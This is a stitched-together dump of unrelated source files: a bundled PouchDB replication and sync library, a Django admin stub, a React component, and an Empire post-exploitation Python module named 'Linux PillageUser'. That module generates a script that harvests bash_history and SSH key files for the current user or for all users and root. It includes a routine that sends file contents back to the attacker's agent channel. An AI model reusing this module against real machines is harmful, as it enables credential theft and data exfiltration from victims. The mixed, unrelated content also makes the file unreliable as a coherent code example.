builtInReduce._count; } else if (/^_stats/.test(reduceFunString)) { return builtInReduce._stats; } else if (/^_/.test(reduceFunString)) { throw new Error(reduceFunString + ' is not a supported reduce function.'); } } function mapper(mapFun, emit) { // for temp_views one can use emit(doc, emit), see #38 if (typeof mapFun === "function" && mapFun.length === 2) { var origMap = mapFun; return function (doc) { return origMap(doc, emit); }; } else { return evalFunctionWithEval(mapFun.toString(), emit); } } function reducer(reduceFun) { var reduceFunString = reduceFun.toString(); var builtIn = getBuiltIn(reduceFunString); if (builtIn) { return builtIn; } else { return evalFunctionWithEval(reduceFunString); } } function ddocValidator(ddoc, viewName) { var fun = ddoc.views && ddoc.views[viewName]; if (typeof fun.map !== 'string') { throw new NotFoundError('ddoc ' + ddoc._id + ' has no string view named ' + viewName + ', instead found object of type: ' + typeof fun.map); } } var localDocName = 'mrviews'; var abstract = createAbstractMapReduce(localDocName, mapper, reducer, ddocValidator); function query(fun, opts, callback) { return abstract.query.call(this, fun, opts, callback); } function viewCleanup(callback) { return abstract.viewCleanup.call(this, callback); } var mapreduce = { query: query, viewCleanup: viewCleanup }; function isGenOne$1(rev$$1) { return /^1-/.test(rev$$1); } function fileHasChanged(localDoc, remoteDoc, filename) { return !localDoc._attachments || !localDoc._attachments[filename] || localDoc._attachments[filename].digest !== remoteDoc._attachments[filename].digest; } function getDocAttachments(db, doc) { var filenames = Object.keys(doc._attachments); return PouchPromise$1.all(filenames.map(function (filename) { return db.getAttachment(doc._id, filename, {rev: doc._rev}); })); } function getDocAttachmentsFromTargetOrSource(target, src, doc) { var doCheckForLocalAttachments = isRemote(src) && !isRemote(target); var filenames = Object.keys(doc._attachments); if (!doCheckForLocalAttachments) { return getDocAttachments(src, doc); } return target.get(doc._id).then(function (localDoc) { return PouchPromise$1.all(filenames.map(function (filename) { if (fileHasChanged(localDoc, doc, filename)) { return src.getAttachment(doc._id, filename); } return target.getAttachment(localDoc._id, filename); })); }).catch(function (error) { /* istanbul ignore if */ if (error.status !== 404) { throw error; } return getDocAttachments(src, doc); }); } function createBulkGetOpts(diffs) { var requests = []; Object.keys(diffs).forEach(function (id) { var missingRevs = diffs[id].missing; missingRevs.forEach(function (missingRev) { requests.push({ id: id, rev: missingRev }); }); }); return { docs: requests, revs: true, latest: true }; } // // Fetch all the documents from the src as described in the "diffs", // which is a mapping of docs IDs to revisions. If the state ever // changes to "cancelled", then the returned promise will be rejected. // Else it will be resolved with a list of fetched documents. // function getDocs(src, target, diffs, state) { diffs = clone(diffs); // we do not need to modify this var resultDocs = [], ok = true; function getAllDocs() { var bulkGetOpts = createBulkGetOpts(diffs); if (!bulkGetOpts.docs.length) { // optimization: skip empty requests return; } return src.bulkGet(bulkGetOpts).then(function (bulkGetResponse) { /* istanbul ignore if */ if (state.cancelled) { throw new Error('cancelled'); } return PouchPromise$1.all(bulkGetResponse.results.map(function (bulkGetInfo) { return PouchPromise$1.all(bulkGetInfo.docs.map(function (doc) { var remoteDoc = doc.ok; if (doc.error) { // when AUTO_COMPACTION is set, docs can be returned which look // like this: {"missing":"1-7c3ac256b693c462af8442f992b83696"} ok = false; } if (!remoteDoc || !remoteDoc._attachments) { return remoteDoc; } return getDocAttachmentsFromTargetOrSource(target, src, remoteDoc) .then(function (attachments) { var filenames = Object.keys(remoteDoc._attachments); attachments .forEach(function (attachment, i) { var att = remoteDoc._attachments[filenames[i]]; delete att.stub; delete att.length; att.data = attachment; }); return remoteDoc; }); })); })) .then(function (results) { resultDocs = resultDocs.concat(flatten(results).filter(Boolean)); }); }); } function hasAttachments(doc) { return doc._attachments && Object.keys(doc._attachments).length > 0; } function hasConflicts(doc) { return doc._conflicts && doc._conflicts.length > 0; } function fetchRevisionOneDocs(ids) { // Optimization: fetch gen-1 docs and attachments in // a single request using _all_docs return src.allDocs({ keys: ids, include_docs: true, conflicts: true }).then(function (res) { if (state.cancelled) { throw new Error('cancelled'); } res.rows.forEach(function (row) { if (row.deleted || !row.doc || !isGenOne$1(row.value.rev) || hasAttachments(row.doc) || hasConflicts(row.doc)) { // if any of these conditions apply, we need to fetch using get() return; } // strip _conflicts array to appease CSG (#5793) /* istanbul ignore if */ if (row.doc._conflicts) { delete row.doc._conflicts; } // the doc we got back from allDocs() is sufficient resultDocs.push(row.doc); delete diffs[row.id]; }); }); } function getRevisionOneDocs() { // filter out the generation 1 docs and get them // leaving the non-generation one docs to be got otherwise var ids = Object.keys(diffs).filter(function (id) { var missing = diffs[id].missing; return missing.length === 1 && isGenOne$1(missing[0]); }); if (ids.length > 0) { return fetchRevisionOneDocs(ids); } } function returnResult() { return { ok:ok, docs:resultDocs }; } return PouchPromise$1.resolve() .then(getRevisionOneDocs) .then(getAllDocs) .then(returnResult); } var CHECKPOINT_VERSION = 1; var REPLICATOR = "pouchdb"; // This is an arbitrary number to limit the // amount of replication history we save in the checkpoint. // If we save too much, the checkpoing docs will become very big, // if we save fewer, we'll run a greater risk of having to // read all the changes from 0 when checkpoint PUTs fail // CouchDB 2.0 has a more involved history pruning, // but let's go for the simple version for now. var CHECKPOINT_HISTORY_SIZE = 5; var LOWEST_SEQ = 0; function updateCheckpoint(db, id, checkpoint, session, returnValue) { return db.get(id).catch(function (err) { if (err.status === 404) { if (db.adapter === 'http' || db.adapter === 'https') { explainError( 404, 'PouchDB is just checking if a remote checkpoint exists.' ); } return { session_id: session, _id: id, history: [], replicator: REPLICATOR, version: CHECKPOINT_VERSION }; } throw err; }).then(function (doc) { if (returnValue.cancelled) { return; } // if the checkpoint has not changed, do not update if (doc.last_seq === checkpoint) { return; } // Filter out current entry for this replication doc.history = (doc.history || []).filter(function (item) { return item.session_id !== session; }); // Add the latest checkpoint to history doc.history.unshift({ last_seq: checkpoint, session_id: session }); // Just take the last pieces in history, to // avoid really big checkpoint docs. // see comment on history size above doc.history = doc.history.slice(0, CHECKPOINT_HISTORY_SIZE); doc.version = CHECKPOINT_VERSION; doc.replicator = REPLICATOR; doc.session_id = session; doc.last_seq = checkpoint; return db.put(doc).catch(function (err) { if (err.status === 409) { // retry; someone is trying to write a checkpoint simultaneously return updateCheckpoint(db, id, checkpoint, session, returnValue); } throw err; }); }); } function Checkpointer(src, target, id, returnValue, opts) { this.src = src; this.target = target; this.id = id; this.returnValue = returnValue; this.opts = opts; } Checkpointer.prototype.writeCheckpoint = function (checkpoint, session) { var self = this; return this.updateTarget(checkpoint, session).then(function () { return self.updateSource(checkpoint, session); }); }; Checkpointer.prototype.updateTarget = function (checkpoint, session) { if (this.opts.writeTargetCheckpoint) { return updateCheckpoint(this.target, this.id, checkpoint, session, this.returnValue); } else { return PouchPromise$1.resolve(true); } }; Checkpointer.prototype.updateSource = function (checkpoint, session) { if (this.opts.writeSourceCheckpoint) { var self = this; if (this.readOnlySource) { return PouchPromise$1.resolve(true); } return updateCheckpoint(this.src, this.id, checkpoint, session, this.returnValue) .catch(function (err) { if (isForbiddenError(err)) { self.readOnlySource = true; return true; } throw err; }); } else { return PouchPromise$1.resolve(true); } }; var comparisons = { "undefined": function (targetDoc, sourceDoc) { // This is the previous comparison function if (collate(targetDoc.last_seq, sourceDoc.last_seq) === 0) { return sourceDoc.last_seq; } /* istanbul ignore next */ return 0; }, "1": function (targetDoc, sourceDoc) { // This is the comparison function ported from CouchDB return compareReplicationLogs(sourceDoc, targetDoc).last_seq; } }; Checkpointer.prototype.getCheckpoint = function () { var self = this; return self.target.get(self.id).then(function (targetDoc) { if (self.readOnlySource) { return PouchPromise$1.resolve(targetDoc.last_seq); } return self.src.get(self.id).then(function (sourceDoc) { // Since we can't migrate an old version doc to a new one // (no session id), we just go with the lowest seq in this case /* istanbul ignore if */ if (targetDoc.version !== sourceDoc.version) { return LOWEST_SEQ; } var version; if (targetDoc.version) { version = targetDoc.version.toString(); } else { version = "undefined"; } if (version in comparisons) { return comparisons[version](targetDoc, sourceDoc); } /* istanbul ignore next */ return LOWEST_SEQ; }, function (err) { if (err.status === 404 && targetDoc.last_seq) { return self.src.put({ _id: self.id, last_seq: LOWEST_SEQ }).then(function () { return LOWEST_SEQ; }, function (err) { if (isForbiddenError(err)) { self.readOnlySource = true; return targetDoc.last_seq; } /* istanbul ignore next */ return LOWEST_SEQ; }); } throw err; }); }).catch(function (err) { if (err.status !== 404) { throw err; } return LOWEST_SEQ; }); }; // This checkpoint comparison is ported from CouchDBs source // they come from here: // https://github.com/apache/couchdb-couch-replicator/blob/master/src/couch_replicator.erl#L863-L906 function compareReplicationLogs(srcDoc, tgtDoc) { if (srcDoc.session_id === tgtDoc.session_id) { return { last_seq: srcDoc.last_seq, history: srcDoc.history }; } return compareReplicationHistory(srcDoc.history, tgtDoc.history); } function compareReplicationHistory(sourceHistory, targetHistory) { // the erlang loop via function arguments is not so easy to repeat in JS // therefore, doing this as recursion var S = sourceHistory[0]; var sourceRest = sourceHistory.slice(1); var T = targetHistory[0]; var targetRest = targetHistory.slice(1); if (!S || targetHistory.length === 0) { return { last_seq: LOWEST_SEQ, history: [] }; } var sourceId = S.session_id; /* istanbul ignore if */ if (hasSessionId(sourceId, targetHistory)) { return { last_seq: S.last_seq, history: sourceHistory }; } var targetId = T.session_id; if (hasSessionId(targetId, sourceRest)) { return { last_seq: T.last_seq, history: targetRest }; } return compareReplicationHistory(sourceRest, targetRest); } function hasSessionId(sessionId, history) { var props = history[0]; var rest = history.slice(1); if (!sessionId || history.length === 0) { return false; } if (sessionId === props.session_id) { return true; } return hasSessionId(sessionId, rest); } function isForbiddenError(err) { return typeof err.status === 'number' && Math.floor(err.status / 100) === 4; } var STARTING_BACK_OFF = 0; function backOff(opts, returnValue, error, callback) { if (opts.retry === false) { returnValue.emit('error', error); returnValue.removeAllListeners(); return; } if (typeof opts.back_off_function !== 'function') { opts.back_off_function = defaultBackOff; } returnValue.emit('requestError', error); if (returnValue.state === 'active' || returnValue.state === 'pending') { returnValue.emit('paused', error); returnValue.state = 'stopped'; var backOffSet = function backoffTimeSet() { opts.current_back_off = STARTING_BACK_OFF; }; var removeBackOffSetter = function removeBackOffTimeSet() { returnValue.removeListener('active', backOffSet); }; returnValue.once('paused', removeBackOffSetter); returnValue.once('active', backOffSet); } opts.current_back_off = opts.current_back_off || STARTING_BACK_OFF; opts.current_back_off = opts.back_off_function(opts.current_back_off); setTimeout(callback, opts.current_back_off); } function sortObjectPropertiesByKey(queryParams) { return Object.keys(queryParams).sort(collate).reduce(function (result, key) { result[key] = queryParams[key]; return result; }, {}); } // Generate a unique id particular to this replication. // Not guaranteed to align perfectly with CouchDB's rep ids. function generateReplicationId(src, target, opts) { var docIds = opts.doc_ids ? opts.doc_ids.sort(collate) : ''; var filterFun = opts.filter ? opts.filter.toString() : ''; var queryParams = ''; var filterViewName = ''; var selector = ''; // possibility for checkpoints to be lost here as behaviour of // JSON.stringify is not stable (see #6226) /* istanbul ignore if */ if (opts.selector) { selector = JSON.stringify(opts.selector); } if (opts.filter && opts.query_params) { queryParams = JSON.stringify(sortObjectPropertiesByKey(opts.query_params)); } if (opts.filter && opts.filter === '_view') { filterViewName = opts.view.toString(); } return PouchPromise$1.all([src.id(), target.id()]).then(function (res) { var queryData = res[0] + res[1] + filterFun + filterViewName + queryParams + docIds + selector; return new PouchPromise$1(function (resolve) { binaryMd5(queryData, resolve); }); }).then(function (md5sum) { // can't use straight-up md5 alphabet, because // the char '/' is interpreted as being for attachments, // and + is also not url-safe md5sum = md5sum.replace(/\//g, '.').replace(/\+/g, '_'); return '_local/' + md5sum; }); } function replicate(src, target, opts, returnValue, result) { var batches = []; // list of batches to be processed var currentBatch; // the batch currently being processed var pendingBatch = { seq: 0, changes: [], docs: [] }; // next batch, not yet ready to be processed var writingCheckpoint = false; // true while checkpoint is being written var changesCompleted = false; // true when all changes received var replicationCompleted = false; // true when replication has completed var last_seq = 0; var continuous = opts.continuous || opts.live || false; var batch_size = opts.batch_size || 100; var batches_limit = opts.batches_limit || 10; var changesPending = false; // true while src.changes is running var doc_ids = opts.doc_ids; var selector = opts.selector; var repId; var checkpointer; var changedDocs = []; // Like couchdb, every replication gets a unique session id var session = uuid(); result = result || { ok: true, start_time: new Date(), docs_read: 0, docs_written: 0, doc_write_failures: 0, errors: [] }; var changesOpts = {}; returnValue.ready(src, target); function initCheckpointer() { if (checkpointer) { return PouchPromise$1.resolve(); } return generateReplicationId(src, target, opts).then(function (res) { repId = res; var checkpointOpts = {}; if (opts.checkpoint === false) { checkpointOpts = { writeSourceCheckpoint: false, writeTargetCheckpoint: false }; } else if (opts.checkpoint === 'source') { checkpointOpts = { writeSourceCheckpoint: true, writeTargetCheckpoint: false }; } else if (opts.checkpoint === 'target') { checkpointOpts = { writeSourceCheckpoint: false, writeTargetCheckpoint: true }; } else { checkpointOpts = { writeSourceCheckpoint: true, writeTargetCheckpoint: true }; } checkpointer = new Checkpointer(src, target, repId, returnValue, checkpointOpts); }); } function writeDocs() { changedDocs = []; if (currentBatch.docs.length === 0) { return; } var docs = currentBatch.docs; var bulkOpts = {timeout: opts.timeout}; return target.bulkDocs({docs: docs, new_edits: false}, bulkOpts).then(function (res) { /* istanbul ignore if */ if (returnValue.cancelled) { completeReplication(); throw new Error('cancelled'); } // `res` doesn't include full documents (which live in `docs`), so we create a map of // (id -> error), and check for errors while iterating over `docs` var errorsById = Object.create(null); res.forEach(function (res) { if (res.error) { errorsById[res.id] = res; } }); var errorsNo = Object.keys(errorsById).length; result.doc_write_failures += errorsNo; result.docs_written += docs.length - errorsNo; docs.forEach(function (doc) { var error = errorsById[doc._id]; if (error) { result.errors.push(error); if (error.name === 'unauthorized' || error.name === 'forbidden') { returnValue.emit('denied', clone(error)); } else { throw error; } } else { changedDocs.push(doc); } }); }, function (err) { result.doc_write_failures += docs.length; throw err; }); } function finishBatch() { if (currentBatch.error) { throw new Error('There was a problem getting docs.'); } result.last_seq = last_seq = currentBatch.seq; var outResult = clone(result); if (changedDocs.length) { outResult.docs = changedDocs; returnValue.emit('change', outResult); } writingCheckpoint = true; return checkpointer.writeCheckpoint(currentBatch.seq, session).then(function () { writingCheckpoint = false; /* istanbul ignore if */ if (returnValue.cancelled) { completeReplication(); throw new Error('cancelled'); } currentBatch = undefined; getChanges(); }).catch(function (err) { onCheckpointError(err); throw err; }); } function getDiffs() { var diff = {}; currentBatch.changes.forEach(function (change) { // Couchbase Sync Gateway emits these, but we can ignore them /* istanbul ignore if */ if (change.id === "_user/") { return; } diff[change.id] = change.changes.map(function (x) { return x.rev; }); }); return target.revsDiff(diff).then(function (diffs) { /* istanbul ignore if */ if (returnValue.cancelled) { completeReplication(); throw new Error('cancelled'); } // currentBatch.diffs elements are deleted as the documents are written currentBatch.diffs = diffs; }); } function getBatchDocs() { return getDocs(src, target, currentBatch.diffs, returnValue).then(function (got) { currentBatch.error = !got.ok; got.docs.forEach(function (doc) { delete currentBatch.diffs[doc._id]; result.docs_read++; currentBatch.docs.push(doc); }); }); } function startNextBatch() { if (returnValue.cancelled || currentBatch) { return; } if (batches.length === 0) { processPendingBatch(true); return; } currentBatch = batches.shift(); getDiffs() .then(getBatchDocs) .then(writeDocs) .then(finishBatch) .then(startNextBatch) .catch(function (err) { abortReplication('batch processing terminated with error', err); }); } function processPendingBatch(immediate) { if (pendingBatch.changes.length === 0) { if (batches.length === 0 && !currentBatch) { if ((continuous && changesOpts.live) || changesCompleted) { returnValue.state = 'pending'; returnValue.emit('paused'); } if (changesCompleted) { completeReplication(); } } return; } if ( immediate || changesCompleted || pendingBatch.changes.length >= batch_size ) { batches.push(pendingBatch); pendingBatch = { seq: 0, changes: [], docs: [] }; if (returnValue.state === 'pending' || returnValue.state === 'stopped') { returnValue.state = 'active'; returnValue.emit('active'); } startNextBatch(); } } function abortReplication(reason, err) { if (replicationCompleted) { return; } if (!err.message) { err.message = reason; } result.ok = false; result.status = 'aborting'; batches = []; pendingBatch = { seq: 0, changes: [], docs: [] }; completeReplication(err); } function completeReplication(fatalError) { if (replicationCompleted) { return; } /* istanbul ignore if */ if (returnValue.cancelled) { result.status = 'cancelled'; if (writingCheckpoint) { return; } } result.status = result.status || 'complete'; result.end_time = new Date(); result.last_seq = last_seq; replicationCompleted = true; if (fatalError) { // need to extend the error because Firefox considers ".result" read-only fatalError = createError(fatalError); fatalError.result = result; if (fatalError.name === 'unauthorized' || fatalError.name === 'forbidden') { returnValue.emit('error', fatalError); returnValue.removeAllListeners(); } else { backOff(opts, returnValue, fatalError, function () { replicate(src, target, opts, returnValue); }); } } else { returnValue.emit('complete', result); returnValue.removeAllListeners(); } } function onChange(change) { /* istanbul ignore if */ if (returnValue.cancelled) { return completeReplication(); } var filter = filterChange(opts)(change); if (!filter) { return; } pendingBatch.seq = change.seq; pendingBatch.changes.push(change); processPendingBatch(batches.length === 0 && changesOpts.live); } function onChangesComplete(changes) { changesPending = false; /* istanbul ignore if */ if (returnValue.cancelled) { return completeReplication(); } // if no results were returned then we're done, // else fetch more if (changes.results.length > 0) { changesOpts.since = changes.last_seq; getChanges(); processPendingBatch(true); } else { var complete = function () { if (continuous) { changesOpts.live = true; getChanges(); } else { changesCompleted = true; } processPendingBatch(true); }; // update the checkpoint so we start from the right seq next time if (!currentBatch && changes.results.length === 0) { writingCheckpoint = true; checkpointer.writeCheckpoint(changes.last_seq, session).then(function () { writingCheckpoint = false; result.last_seq = last_seq = changes.last_seq; complete(); }) .catch(onCheckpointError); } else { complete(); } } } function onChangesError(err) { changesPending = false; /* istanbul ignore if */ if (returnValue.cancelled) { return completeReplication(); } abortReplication('changes rejected', err); } function getChanges() { if (!( !changesPending && !changesCompleted && batches.length < batches_limit )) { return; } changesPending = true; function abortChanges() { changes.cancel(); } function removeListener() { returnValue.removeListener('cancel', abortChanges); } if (returnValue._changes) { // remove old changes() and listeners returnValue.removeListener('cancel', returnValue._abortChanges); returnValue._changes.cancel(); } returnValue.once('cancel', abortChanges); var changes = src.changes(changesOpts) .on('change', onChange); changes.then(removeListener, removeListener); changes.then(onChangesComplete) .catch(onChangesError); if (opts.retry) { // save for later so we can cancel if necessary returnValue._changes = changes; returnValue._abortChanges = abortChanges; } } function startChanges() { initCheckpointer().then(function () { /* istanbul ignore if */ if (returnValue.cancelled) { completeReplication(); return; } return checkpointer.getCheckpoint().then(function (checkpoint) { last_seq = checkpoint; changesOpts = { since: last_seq, limit: batch_size, batch_size: batch_size, style: 'all_docs', doc_ids: doc_ids, selector: selector, return_docs: true // required so we know when we're done }; if (opts.filter) { if (typeof opts.filter !== 'string') { // required for the client-side filter in onChange changesOpts.include_docs = true; } else { // ddoc filter changesOpts.filter = opts.filter; } } if ('heartbeat' in opts) { changesOpts.heartbeat = opts.heartbeat; } if ('timeout' in opts) { changesOpts.timeout = opts.timeout; } if (opts.query_params) { changesOpts.query_params = opts.query_params; } if (opts.view) { changesOpts.view = opts.view; } getChanges(); }); }).catch(function (err) { abortReplication('getCheckpoint rejected with ', err); }); } /* istanbul ignore next */ function onCheckpointError(err) { writingCheckpoint = false; abortReplication('writeCheckpoint completed with error', err); } /* istanbul ignore if */ if (returnValue.cancelled) { // cancelled immediately completeReplication(); return; } if (!returnValue._addedListeners) { returnValue.once('cancel', completeReplication); if (typeof opts.complete === 'function') { returnValue.once('error', opts.complete); returnValue.once('complete', function (result) { opts.complete(null, result); }); } returnValue._addedListeners = true; } if (typeof opts.since === 'undefined') { startChanges(); } else { initCheckpointer().then(function () { writingCheckpoint = true; return checkpointer.writeCheckpoint(opts.since, session); }).then(function () { writingCheckpoint = false; /* istanbul ignore if */ if (returnValue.cancelled) { completeReplication(); return; } last_seq = opts.since; startChanges(); }).catch(onCheckpointError); } } // We create a basic promise so the caller can cancel the replication possibly // before we have actually started listening to changes etc inherits(Replication, events.EventEmitter); function Replication() { events.EventEmitter.call(this); this.cancelled = false; this.state = 'pending'; var self = this; var promise = new PouchPromise$1(function (fulfill, reject) { self.once('complete', fulfill); self.once('error', reject); }); self.then = function (resolve, reject) { return promise.then(resolve, reject); }; self.catch = function (reject) { return promise.catch(reject); }; // As we allow error handling via "error" event as well, // put a stub in here so that rejecting never throws UnhandledError. self.catch(function () {}); } Replication.prototype.cancel = function () { this.cancelled = true; this.state = 'cancelled'; this.emit('cancel'); }; Replication.prototype.ready = function (src, target) { var self = this; if (self._readyCalled) { return; } self._readyCalled = true; function onDestroy() { self.cancel(); } src.once('destroyed', onDestroy); target.once('destroyed', onDestroy); function cleanup() { src.removeListener('destroyed', onDestroy); target.removeListener('destroyed', onDestroy); } self.once('complete', cleanup); }; function toPouch(db, opts) { var PouchConstructor = opts.PouchConstructor; if (typeof db === 'string') { return new PouchConstructor(db, opts); } else { return db; } } function replicateWrapper(src, target, opts, callback) { if (typeof opts === 'function') { callback = opts; opts = {}; } if (typeof opts === 'undefined') { opts = {}; } if (opts.doc_ids && !Array.isArray(opts.doc_ids)) { throw createError(BAD_REQUEST, "`doc_ids` filter parameter is not a list."); } opts.complete = callback; opts = clone(opts); opts.continuous = opts.continuous || opts.live; opts.retry = ('retry' in opts) ? opts.retry : false; /*jshint validthis:true */ opts.PouchConstructor = opts.PouchConstructor || this; var replicateRet = new Replication(opts); var srcPouch = toPouch(src, opts); var targetPouch = toPouch(target, opts); replicate(srcPouch, targetPouch, opts, replicateRet); return replicateRet; } inherits(Sync, events.EventEmitter); function sync$1(src, target, opts, callback) { if (typeof opts === 'function') { callback = opts; opts = {}; } if (typeof opts === 'undefined') { opts = {}; } opts = clone(opts); /*jshint validthis:true */ opts.PouchConstructor = opts.PouchConstructor || this; src = toPouch(src, opts); target = toPouch(target, opts); return new Sync(src, target, opts, callback); } function Sync(src, target, opts, callback) { var self = this; this.canceled = false; var optsPush = opts.push ? $inject_Object_assign({}, opts, opts.push) : opts; var optsPull = opts.pull ? $inject_Object_assign({}, opts, opts.pull) : opts; this.push = replicateWrapper(src, target, optsPush); this.pull = replicateWrapper(target, src, optsPull); this.pushPaused = true; this.pullPaused = true; function pullChange(change) { self.emit('change', { direction: 'pull', change: change }); } function pushChange(change) { self.emit('change', { direction: 'push', change: change }); } function pushDenied(doc) { self.emit('denied', { direction: 'push', doc: doc }); } function pullDenied(doc) { self.emit('denied', { direction: 'pull', doc: doc }); } function pushPaused() { self.pushPaused = true; /* istanbul ignore if */ if (self.pullPaused) { self.emit('paused'); } } function pullPaused() { self.pullPaused = true; /* istanbul ignore if */ if (self.pushPaused) { self.emit('paused'); } } function pushActive() { self.pushPaused = false; /* istanbul ignore if */ if (self.pullPaused) { self.emit('active', { direction: 'push' }); } } function pullActive() { self.pullPaused = false; /* istanbul ignore if */ if (self.pushPaused) { self.emit('active', { direction: 'pull' }); } } var removed = {}; function removeAll(type) { // type is 'push' or 'pull' return function (event, func) { var isChange = event === 'change' && (func === pullChange || func === pushChange); var isDenied = event === 'denied' && (func === pullDenied || func === pushDenied); var isPaused = event === 'paused' && (func === pullPaused || func === pushPaused); var isActive = event === 'active' && (func === pullActive || func === pushActive); if (isChange || isDenied || isPaused || isActive) { if (!(event in removed)) { removed[event] = {}; } removed[event][type] = true; if (Object.keys(removed[event]).length === 2) { // both push and pull have asked to be removed self.removeAllListeners(event); } } }; } if (opts.live) { this.push.on('complete', self.pull.cancel.bind(self.pull)); this.pull.on('complete', self.push.cancel.bind(self.push)); } function addOneListener(ee, event, listener) { if (ee.listeners(event).indexOf(listener) == -1) { ee.on(event, listener); } } this.on('newListener', function (event) { if (event === 'change') { addOneListener(self.pull, 'change', pullChange); addOneListener(self.push, 'change', pushChange); } else if (event === 'denied') { addOneListener(self.pull, 'denied', pullDenied); addOneListener(self.push, 'denied', pushDenied); } else if (event === 'active') { addOneListener(self.pull, 'active', pullActive); addOneListener(self.push, 'active', pushActive); } else if (event === 'paused') { addOneListener(self.pull, 'paused', pullPaused); addOneListener(self.push, 'paused', pushPaused); } }); this.on('removeListener', function (event) { if (event === 'change') { self.pull.removeListener('change', pullChange); self.push.removeListener('change', pushChange); } else if (event === 'denied') { self.pull.removeListener('denied', pullDenied); self.push.removeListener('denied', pushDenied); } else if (event === 'active') { self.pull.removeListener('active', pullActive); self.push.removeListener('active', pushActive); } else if (event === 'paused') { self.pull.removeListener('paused', pullPaused); self.push.removeListener('paused', pushPaused); } }); this.pull.on('removeListener', removeAll('pull')); this.push.on('removeListener', removeAll('push')); var promise = PouchPromise$1.all([ this.push, this.pull ]).then(function (resp) { var out = { push: resp[0], pull: resp[1] }; self.emit('complete', out); if (callback) { callback(null, out); } self.removeAllListeners(); return out; }, function (err) { self.cancel(); if (callback) { // if there's a callback, then the callback can receive // the error event callback(err); } else { // if there's no callback, then we're safe to emit an error // event, which would otherwise throw an unhandled error // due to 'error' being a special event in EventEmitters self.emit('error', err); } self.removeAllListeners(); if (callback) { // no sense throwing if we're already emitting an 'error' event throw err; } }); this.then = function (success, err) { return promise.then(success, err); }; this.catch = function (err) { return promise.catch(err); }; } Sync.prototype.cancel = function () { if (!this.canceled) { this.canceled = true; this.push.cancel(); this.pull.cancel(); } }; function replication(PouchDB) { PouchDB.replicate = replicateWrapper; PouchDB.sync = sync$1; Object.defineProperty(PouchDB.prototype, 'replicate', { get: function () { var self = this; return { from: function (other, opts, callback) { return self.constructor.replicate(other, self, opts, callback); }, to: function (other, opts, callback) { return self.constructor.replicate(self, other, opts, callback); } }; } }); PouchDB.prototype.sync = function (dbName, opts, callback) { return this.constructor.sync(this, dbName, opts, callback); }; } PouchDB$5.plugin(IDBPouch) .plugin(WebSqlPouch) .plugin(HttpPouch$1) .plugin(mapreduce) .plugin(replication); // Pull from src because pouchdb-node/pouchdb-browser themselves // are aggressively optimized and jsnext:main would normally give us this // aggressive bundle. module.exports = PouchDB$5;
from builtins import object class Module(object): def __init__(self, mainMenu, params=[]): # metadata info about the module, not modified during runtime self.info = { # name for the module that will appear in module menus 'Name': 'Linux PillageUser', # list of one or more authors for the module 'Author': ['@harmj0y'], # more verbose multi-line description of the module 'Description': ("Pillages the current user for their bash_history, ssh known hosts, " "recent folders, etc. "), 'Software': '', 'Techniques': ['T1139'], # True if the module needs to run in the background 'Background' : False, # File extension to save the file as 'OutputExtension' : "", # if the module needs administrative privileges 'NeedsAdmin' : False, # True if the method doesn't touch disk/is reasonably opsec safe 'OpsecSafe' : True, # the module language 'Language' : 'python', # the minimum language version needed 'MinLanguageVersion' : '2.6', # list of any references/other comments 'Comments': [] } # any options needed by the module, settable during runtime self.options = { # format: # value_name : {description, required, default_value} 'Agent' : { # The 'Agent' option is the only one that MUST be in a module 'Description' : 'Agent to execute module on.', 'Required' : True, 'Value' : '' }, 'Sleep' : { # The 'Agent' option is the only one that MUST be in a module 'Description' : "Switch. Sleep the agent's normal interval between downloads, otherwise use one blast.", 'Required' : False, 'Value' : 'True' }, 'AllUsers' : { # The 'Agent' option is the only one that MUST be in a module 'Description' : "Switch. Run for all users (needs root privileges!)", 'Required' : False, 'Value' : 'False' } } # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu # During instantiation, any settable option parameters # are passed as an object set to the module and the # options dictionary is automatically set. This is mostly # in case options are passed on the command line if params: for param in params: # parameter format is [Name, Value] option, value = param if option in self.options: self.options[option]['Value'] = value def generate(self, obfuscate=False, obfuscationCommand=""): sleep = self.options['Sleep']['Value'] allUsers = self.options['AllUsers']['Value'] script = """ import os # custom function to send downloac packets back def downloadFile(path): import os filePath = os.path.expanduser(path) if os.path.isfile(filePath): offset = 0 size = os.path.getsize(filePath) while True: partIndex = 0 # get 512kb of the given file starting at the specified offset encodedPart = get_file_part(filePath, offset) partData = "%%s|%%s|%%s" %%(partIndex, filePath, encodedPart) if not encodedPart or encodedPart == '': break sendMessage(encodePacket(41, partData)) # if we're choosing to sleep between file part downloads if "%(sleep)s".lower() == "true": global minSleep global maxSleep minSleep = (1.0-jitter)*delay maxSleep = (1.0+jitter)*delay sleepTime = random.randint(minSleep, maxSleep) time.sleep(sleepTime) partIndex += 1 offset += 5120000 searchPaths = ['/.bash_history'] if "%(allUsers)s".lower() == "true": d='/home/' userPaths = [os.path.join(d,o) for o in os.listdir(d) if os.path.isdir(os.path.join(d,o))] userPaths += ["/root/"] else: userPaths = ['~/'] for userPath in userPaths: for searchPath in searchPaths: #downloadFile(userPath + searchPath) print(userPath + searchPath) # grab all .ssh files filePath = os.path.expanduser(userPath + '/.ssh/') if os.path.exists(filePath): sshFiles = [f for f in os.listdir(filePath) if os.path.isfile(os.path.join(filePath, f))] for sshFile in sshFiles: # downloadFile(userPath + '/.ssh/' + sshFile) print(userPath + '/.ssh/' + sshFile) print("pillaging complete") """ % {'sleep': sleep, 'allUsers': allUsers} return script
from django.contrib import admin from .models import Contact admin.site.register(Contact) # Register your models here.
import React from 'react'; import withStyles from 'isomorphic-style-loader/lib/withStyles'; import TodoList from './todo/TodoList'; import s from './TaskTotal.less'; class TaskTotal extends React.Component { componentDidMount() { this.props.onUpdate(); } render() { const {service, document, dispatch, bill, count} = this.props; return ( <div className={s.root}> <TodoList {...service} count={count} /> <TodoList {...document} count={count} /> <TodoList {...dispatch} count={count} /> <TodoList {...bill} count={count} /> </div> ); } } export default withStyles(s)(TaskTotal);
